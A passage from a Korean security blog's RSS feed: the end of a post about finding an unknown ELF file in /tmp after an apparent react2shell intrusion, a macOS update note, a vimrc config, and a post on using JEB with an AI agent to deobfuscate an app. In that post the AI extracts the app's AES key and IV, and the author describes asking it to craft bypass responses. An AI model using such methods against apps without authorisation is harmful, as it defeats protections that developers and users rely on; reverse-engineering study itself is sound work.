srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTvJV6%2FdJMb99SuwU4%2FszworAlnN1Tet8AmvASeek%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;645&quot; height=&quot;457&quot; data-origin-width=&quot;645&quot; data-origin-height=&quot;457&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;거의 뭐 그냥 리얼망에 구축된 허니팟 수준&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거 뭐.. S사 허니팟도 아니고.... 미치겠네&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자들이 좋아한다는 tmp 폴더가 바로 생각이나서 확인했음..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;771&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ft178/dJMcafZsQZa/eZgJbXtyKwmjTtZEdI8kw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ft178/dJMcafZsQZa/eZgJbXtyKwmjTtZEdI8kw0/img.png&quot; data-alt=&quot;WTF lrt..?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ft178/dJMcafZsQZa/eZgJbXtyKwmjTtZEdI8kw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFt178%2FdJMcafZsQZa%2FeZgJbXtyKwmjTtZEdI8kw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1248&quot; height=&quot;771&quot; data-origin-width=&quot;1248&quot; data-origin-height=&quot;771&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;WTF lrt..?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘 아침 07:31에 생긴 lrt 파일 머고.....?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1406&quot; data-origin-height=&quot;213&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmbOBG/dJMcagxiOMQ/laK2X7plkXDuxMMYT52ka0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmbOBG/dJMcagxiOMQ/laK2X7plkXDuxMMYT52ka0/img.png&quot; data-alt=&quot;예..?&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmbOBG/dJMcagxiOMQ/laK2X7plkXDuxMMYT52ka0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmbOBG%2FdJMcagxiOMQ%2FlaK2X7plkXDuxMMYT52ka0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1406&quot; height=&quot;213&quot; data-origin-width=&quot;1406&quot; data-origin-height=&quot;213&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;예..?&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;선생님 ELF요......?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이러스토탈에도 안나오는 따끈따끈한 MD5더라....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 ELF라서 실행은 안됐을텐데 그래도 나름 다행이다..&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이거 누가 어디에서 공격한지도 모르고.. 로그도 안남고.. 어우 찝찝해죽겠네&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;목매달뻔했다....&lt;/s&gt;&lt;/p&gt;</description>
      <category>일상생활</category>
      <category>cve-2025-55182</category>
      <category>react2shell</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/351</guid>
      <comments>https://nopsled.tistory.com/351#entry351comment</comments>
      <pubDate>Thu, 18 Dec 2025 20:37:42 +0900</pubDate>
    </item>
    <item>
      <title>MacOSX Tahoe(타호) 업데이트</title>
      <link>https://nopsled.tistory.com/350</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;2019 인텔맥 16인치를 사용하고 있는데 공장초기화를 하면 Catalina로 설치된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Catalina에서 바로 Tahoe로 업데이트 치려고 했는데 무한 루프에 빠져버린다. 설치 단계로 진입 후 4시간째 10%에서 멈춰서 진행이 안되는듯하다. 버그지 않을까..&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이걸 해결하기 위해 AppStore에서 Sequoia를 검색해서 해당 업데이트를 하면 잘된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시 몰라서 이번엔 애플 계정 연동안하고 Sequoia까지 업데이트 하니까 잘됐음.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지금은 Tahoe로 업데이트하려고 기다리는중인데 완료가 되면 후기 남기도록 하겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어제부터 오늘까지 하루종일 붙잡고 6번은 지운듯하다.. 징글징글하네 징글벨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;* 추가 후기: 이렇게 했더니 타호까지 업데이트 잘된다.&lt;/p&gt;</description>
      <category>운영체제</category>
      <category>Catalina</category>
      <category>OSX</category>
      <category>Sequoia</category>
      <category>Tahoe</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/350</guid>
      <comments>https://nopsled.tistory.com/350#entry350comment</comments>
      <pubDate>Wed, 17 Dec 2025 16:03:50 +0900</pubDate>
    </item>
    <item>
      <title>jeb mcp</title>
      <link>https://nopsled.tistory.com/347</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;난독화된 앱을 분석할 일이 있어서 jeb로 열어봤는데, 구버전의 경우 난독화 코드를 보여줬지만 최신 버전은 난독화를 계산하고 풀어서 디컴파일해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdd4S7/dJMcaiobDnb/1sHDOkxUsREvSeFaZiNyx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdd4S7/dJMcaiobDnb/1sHDOkxUsREvSeFaZiNyx1/img.png&quot; data-origin-width=&quot;2258&quot; data-origin-height=&quot;1442&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.3057%; margin-right: 10px;&quot; data-widthpercent=&quot;43.82&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdd4S7/dJMcaiobDnb/1sHDOkxUsREvSeFaZiNyx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcdd4S7%2FdJMcaiobDnb%2F1sHDOkxUsREvSeFaZiNyx1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2258&quot; height=&quot;1442&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r5MQa/dJMcagqm7Au/CmmHOwM83IwYmKiNfCkkn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r5MQa/dJMcagqm7Au/CmmHOwM83IwYmKiNfCkkn1/img.png&quot; data-origin-width=&quot;2526&quot; data-origin-height=&quot;1258&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;56.18&quot; data-filename=&quot;blob&quot; style=&quot;width: 55.5315%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r5MQa/dJMcagqm7Au/CmmHOwM83IwYmKiNfCkkn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr5MQa%2FdJMcagqm7Au%2FCmmHOwM83IwYmKiNfCkkn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2526&quot; height=&quot;1258&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;좌: 구버전에서 난독화된 화면 / 우: 최신버전에서는 난독화가 어느정도 풀린 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이정도 스트링 가지고 뭐가 도움이 되냐?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dzTywJ/dJMcafZiNgX/LLDAbttcYXNrr1EbhXiatK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dzTywJ/dJMcafZiNgX/LLDAbttcYXNrr1EbhXiatK/img.png&quot; data-origin-width=&quot;2262&quot; data-origin-height=&quot;1436&quot; data-is-animation=&quot;false&quot; style=&quot;width: 43.3529%; margin-right: 10px;&quot; data-widthpercent=&quot;43.86&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dzTywJ/dJMcafZiNgX/LLDAbttcYXNrr1EbhXiatK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdzTywJ%2FdJMcafZiNgX%2FLLDAbttcYXNrr1EbhXiatK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2262&quot; height=&quot;1436&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fsvtm/dJMcaaXZCeQ/KgCDrSHhhYyxpBlkRm5k8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fsvtm/dJMcaaXZCeQ/KgCDrSHhhYyxpBlkRm5k8k/img.png&quot; data-origin-width=&quot;2520&quot; data-origin-height=&quot;1250&quot; data-is-animation=&quot;false&quot; style=&quot;width: 55.4843%;&quot; data-widthpercent=&quot;56.14&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fsvtm/dJMcaaXZCeQ/KgCDrSHhhYyxpBlkRm5k8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFsvtm%2FdJMcaaXZCeQ%2FKgCDrSHhhYyxpBlkRm5k8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2520&quot; height=&quot;1250&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;좌: 구버전에서는 난독화된 화면 / 우: 최신버전에서는 난독화가 어느정도 풀린 화면&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 화면을 보면 생각보다 잘 풀리는걸 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게다가 이런 앱들 같은 경우 일반적으로 사용하는 암호화 함수를 setEncrypt()처럼 호출하지 않고, setLoadResource()처럼 호출하는데 분석을 방해하기 위해서 일부러 의미없는 문자열로 치환해놓는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게다가 추가로 분석을 방해하기 위해서 어떤 결과 값에 % 0x80하거나, AudioTrack-&amp;gt;getMaxVolume()과 같은 쓰레기 값들이 포함되어 있는데 마찬가지로 분석을 방해하기 위함이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그렇기에 분석을 빠르게 하기 위해서 Ai를 붙여봤는데 생각보다 결과가 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;cursor에 jeb_mcp를 연동해서 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;agent 모드로&lt;/span&gt; 실행했고, AES_KEY, IV값을 알려달라고 요청했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;2460&quot; data-origin-height=&quot;1232&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5iPJO/dJMcahv2V9c/r2Nf4s4InIcDxh46aht5s0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5iPJO/dJMcahv2V9c/r2Nf4s4InIcDxh46aht5s0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5iPJO/dJMcahv2V9c/r2Nf4s4InIcDxh46aht5s0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5iPJO%2FdJMcahv2V9c%2Fr2Nf4s4InIcDxh46aht5s0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2460&quot; height=&quot;1232&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;2460&quot; data-origin-height=&quot;1232&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 걸리긴 했으나 자기 혼자 복호화하고 난독화하고 시도를 하더니 AES_KEY와 IV 값들을 모두 알려준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람의 손을 탔으면 진짜 좀 오래걸렸을텐데 역시 AI...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 mcp 안쓴다고 한다면 apktool로 smali로 디컴파일하고, smali를 분석해달라고 하면 되긴 하는데 context가 많이 나올거다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 로직들을 보고 우회할 수 있게 Response 짜달라고 하는 식의 질문을 하면 얼추 비슷하게는 만들어 주는데, 100%로 맞춰주진 않더라...&lt;/p&gt;</description>
      <category>분석생활</category>
      <category>aes</category>
      <category>CURSOR</category>
      <category>jeb_mcp</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/347</guid>
      <comments>https://nopsled.tistory.com/347#entry347comment</comments>
      <pubDate>Thu, 20 Nov 2025 09:30:28 +0900</pubDate>
    </item>
    <item>
      <title>vimrc 설정</title>
      <link>https://nopsled.tistory.com/346</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;필자가 쓰는 vim 설정 파일인데, 어디서 가져와서 쓴진 모르겠는데 거의 10년?째 잘 쓰고있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;~/.vimrc&lt;/code&gt;에 다음 설정파일 넣으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;set hlsearch &quot; 검색어 하이라이팅
set nu &quot; 줄번호
set autoindent &quot; 자동 들여쓰기
set scrolloff=2
set wildmode=longest,list
set ts=4 &quot;tag select
set sts=4 &quot;st select
set sw=1 &quot; 스크롤바 너비
set autowrite &quot; 다른 파일로 넘어갈 때 자동 저장
set autoread &quot; 작업 중인 파일 외부에서 변경됬을 경우 자동으로 불러옴
&quot;set cindent &quot; C언어 자동 들여쓰기
set bs=eol,start,indent
set history=256
set laststatus=2 &quot; 상태바 표시 항상
&quot;set paste &quot; 붙여넣기 계단현상 없애기
set shiftwidth=4 &quot; 자동 들여쓰기 너비 설정
set showmatch &quot; 일치하는 괄호 하이라이팅
set smartcase &quot; 검색시 대소문자 구별
set smarttab
set smartindent
set softtabstop=4
set expandtab &quot; 탭을 띄워쓰기로 치환
set tabstop=4
set ruler &quot; 현재 커서 위치 표시
set incsearch
set statusline=\ %&amp;lt;%l:%v\ [%P]%=%a\ %h%m%r\ %F\
&quot; 마지막으로 수정된 곳에 커서를 위치함
au BufReadPost *
\ if line(&quot;'\&quot;&quot;) &amp;gt; 0 &amp;amp;&amp;amp; line(&quot;'\&quot;&quot;) &amp;lt;= line(&quot;$&quot;) |
\ exe &quot;norm g`\&quot;&quot; |
\ endif
&quot; 파일 인코딩을 한국어로
&quot;if $LANG[0]=='k' &amp;amp;&amp;amp; $LANG[1]=='o'
&quot;set fileencoding=korea
&quot;endif
&quot; 구문 강조 사용
if has(&quot;syntax&quot;)
 syntax on
endif
&quot; 컬러 스킴 사용
colorscheme jellybeans&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬러 스킴은 다음 파일을 &lt;code&gt;~/.vim/colors/jellybeans.vim&lt;/code&gt;으로 저장하면 된다. (안쓸거라면 위에있는 colorscheme 부분을 주석하거나 제거할 것!!)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/mnUYF/dJMcafZdAI7/GIrYxmqAYrwz8mnm7Ftla0/jellybeans.vim?attach=1&amp;amp;knm=tfile.vim&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;jellybeans.vim&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.02MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 자주 쓰는 커맨드인데, &lt;code&gt;:%s/찾을꺼/바꿀꺼&lt;/code&gt; 입력하면 한번에 바뀌기 때문에 너무 편리하니까 자주 써보세요.&lt;/p&gt;</description>
      <category>운영체제</category>
      <category>vim</category>
      <author>nopsled</author>
      <guid isPermaLink="true">https://nopsled.tistory.com/346</guid>
      <comments>https://nopsled.tistory.com/346#entry346comment</comments>
      <pubDate>Fri, 7 Nov 2025 11:20:22 +0900</pubDate>
    </item>
  </channel>
</rss>